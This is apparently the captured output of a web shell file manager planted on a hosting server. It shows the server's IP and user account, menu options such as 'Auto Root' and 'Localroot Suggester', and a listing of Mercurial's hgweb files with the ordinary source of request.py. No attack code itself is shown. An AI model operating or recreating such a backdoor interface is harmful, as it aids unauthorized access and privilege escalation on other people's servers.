Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib64 /
python2.7 /
site-packages /
mercurial /
hgweb /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.py
1.05
KB
-rw-r--r--
2013-06-01 18:10
__init__.pyc
1.1
KB
-rw-r--r--
2020-03-31 23:33
__init__.pyo
1.1
KB
-rw-r--r--
2020-03-31 23:33
common.py
6.45
KB
-rw-r--r--
2013-06-01 18:10
common.pyc
7.58
KB
-rw-r--r--
2020-03-31 23:33
common.pyo
7.58
KB
-rw-r--r--
2020-03-31 23:33
hgweb_mod.py
15.06
KB
-rw-r--r--
2020-03-31 23:33
hgweb_mod.pyc
12.77
KB
-rw-r--r--
2020-03-31 23:33
hgweb_mod.pyo
12.77
KB
-rw-r--r--
2020-03-31 23:33
hgwebdir_mod.py
17.73
KB
-rw-r--r--
2013-06-01 18:10
hgwebdir_mod.pyc
15.34
KB
-rw-r--r--
2020-03-31 23:33
hgwebdir_mod.pyo
15.34
KB
-rw-r--r--
2020-03-31 23:33
protocol.py
3.13
KB
-rw-r--r--
2020-03-31 23:33
protocol.pyc
4.36
KB
-rw-r--r--
2020-03-31 23:33
protocol.pyo
4.36
KB
-rw-r--r--
2020-03-31 23:33
request.py
4.97
KB
-rw-r--r--
2013-06-01 18:10
request.pyc
5.78
KB
-rw-r--r--
2020-03-31 23:33
request.pyo
5.78
KB
-rw-r--r--
2020-03-31 23:33
server.py
11.49
KB
-rw-r--r--
2013-06-01 18:10
server.pyc
14.71
KB
-rw-r--r--
2020-03-31 23:33
server.pyo
14.71
KB
-rw-r--r--
2020-03-31 23:33
webcommands.py
34.62
KB
-rw-r--r--
2013-06-01 18:10
webcommands.pyc
34.66
KB
-rw-r--r--
2020-03-31 23:33
webcommands.pyo
34.66
KB
-rw-r--r--
2020-03-31 23:33
webutil.py
12.86
KB
-rw-r--r--
2013-06-01 18:10
webutil.pyc
17.75
KB
-rw-r--r--
2020-03-31 23:33
webutil.pyo
17.68
KB
-rw-r--r--
2020-03-31 23:33
wsgicgi.py
2.73
KB
-rw-r--r--
2013-06-01 18:10
wsgicgi.pyc
2.59
KB
-rw-r--r--
2020-03-31 23:33
wsgicgi.pyo
2.59
KB
-rw-r--r--
2020-03-31 23:33
Save
Rename
# hgweb/request.py - An http request from either CGI or the standalone server. # # Copyright 21 May 2005 - (c) 2005 Jake Edge <jake@edge2.net> # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com> # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. import socket, cgi, errno from mercurial import util from common import ErrorResponse, statusmessage, HTTP_NOT_MODIFIED shortcuts = { 'cl': [('cmd', ['changelog']), ('rev', None)], 'sl': [('cmd', ['shortlog']), ('rev', None)], 'cs': [('cmd', ['changeset']), ('node', None)], 'f': [('cmd', ['file']), ('filenode', None)], 'fl': [('cmd', ['filelog']), ('filenode', None)], 'fd': [('cmd', ['filediff']), ('node', None)], 'fa': [('cmd', ['annotate']), ('filenode', None)], 'mf': [('cmd', ['manifest']), ('manifest', None)], 'ca': [('cmd', ['archive']), ('node', None)], 'tags': [('cmd', ['tags'])], 'tip': [('cmd', ['changeset']), ('node', ['tip'])], 'static': [('cmd', ['static']), ('file', None)] } def normalize(form): # first expand the shortcuts for k in shortcuts.iterkeys(): if k in form: for name, value in shortcuts[k]: if value is None: value = form[k] form[name] = value del form[k] # And strip the values for k, v in form.iteritems(): form[k] = [i.strip() for i in v] return form class wsgirequest(object): def __init__(self, wsgienv, start_response): version = wsgienv['wsgi.version'] if (version < (1, 0)) or (version >= (2, 0)): raise RuntimeError("Unknown and unsupported WSGI version %d.%d" % version) self.inp = wsgienv['wsgi.input'] self.err = wsgienv['wsgi.errors'] self.threaded = wsgienv['wsgi.multithread'] self.multiprocess = wsgienv['wsgi.multiprocess'] self.run_once = wsgienv['wsgi.run_once'] self.env = wsgienv self.form = normalize(cgi.parse(self.inp, self.env, keep_blank_values=1)) self._start_response = start_response self.server_write = None self.headers = [] def __iter__(self): return iter([]) def read(self, count=-1): return self.inp.read(count) def drain(self): '''need to read all data from request, httplib is half-duplex''' length = int(self.env.get('CONTENT_LENGTH') or 0) for s in util.filechunkiter(self.inp, limit=length): pass def respond(self, status, type, filename=None, body=None): if self._start_response is not None: self.headers.append(('Content-Type', type)) if filename: filename = (filename.split('/')[-1] .replace('\\', '\\\\').replace('"', '\\"')) self.headers.append(('Content-Disposition', 'inline; filename="%s"' % filename)) if body is not None: self.headers.append(('Content-Length', str(len(body)))) for k, v in self.headers: if not isinstance(v, str): raise TypeError('header value must be string: %r' % (v,)) if isinstance(status, ErrorResponse): self.headers.extend(status.headers) if status.code == HTTP_NOT_MODIFIED: # RFC 2616 Section 10.3.5: 304 Not Modified has cases where # it MUST NOT include any headers other than these and no # body self.headers = [(k, v) for (k, v) in self.headers if k in ('Date', 'ETag', 'Expires', 'Cache-Control', 'Vary')] status = statusmessage(status.code, status.message) elif status == 200: status = '200 Script output follows' elif isinstance(status, int): status = statusmessage(status) self.server_write = self._start_response(status, self.headers) self._start_response = None self.headers = [] if body is not None: self.write(body) self.server_write = None def write(self, thing): if thing: try: self.server_write(thing) except socket.error, inst: if inst[0] != errno.ECONNRESET: raise def writelines(self, lines): for line in lines: self.write(line) def flush(self): return None def close(self): return None def wsgiapplication(app_maker): '''For compatibility with old CGI scripts. A plain hgweb() or hgwebdir() can and should now be used as a WSGI application.''' application = app_maker() def run_wsgi(env, respond): return application(env, respond) return run_wsgi